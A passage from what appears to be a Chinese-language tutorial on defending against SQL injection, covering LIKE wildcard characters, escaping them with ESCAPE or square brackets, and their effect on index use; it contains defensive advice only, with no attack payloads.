A:“网站怎么被黑了,怎么入侵的???”

公司或个人有财力的话还是有必要购买一款专业SQL注入工具来验证下自己的网站,这些工具毕竟是专业的安全人员研发,在安全领域都有自己的独到之处。

7. 额外小知识:LIKE中的通配符


尽管这个不属于SQL注入,但是其被恶意使用的方式是和SQL注入类似的。

%包含零个或多个字符的任意字符串。_任何单个字符。[]指定范围(例如 [a-f])或集合(例如 [abcdef])内的任何单个字符。[^]不在指定范围(例如 [^a – f])或集合(例如 [^abcdef])内的任何单个字符。


在模糊查询LIKE中,对于输入数据中的通配符必须转义,否则会造成客户想查询包含这些特殊字符的数据时,这些特殊字符却被解析为通配符。不与 LIKE 一同使用的通配符将解释为常量而非模式。

注意使用通配符的索引性能问题:

a) like的第一个字符是‘%’或‘_’时,为未知字符不会使用索引, sql会遍历全表。

b) 若通配符放在已知字符后面,会使用索引。

网上有这样的说法,不过我在MSSQL中使用 ctrl+L 执行语法查看索引使用情况却都没有使用索引,可能在别的数据库中会使用到索引吧……

截图如下:


有两种将通配符转义为普通字符的方法:

1) 使用ESCAPE关键字定义转义符(通用)

在模式中,当转义符置于通配符之前时,该通配符就解释为普通字符。例如,要搜索在任意位置包含字符串 5% 的字符串,请使用:

WHERE ColumnA LIKE ‘%5/%%’ ESCAPE ‘/’

2) 在方括号 ([ ]) 中只包含通配符本身,或要搜索破折号(-) 而不是用它指定搜索范围,请将破折号指定为方括号内的第一个字符。EG:

所以,进行过输入参数的关键字过滤后,还需要做下面转换确保LIKE的正确执行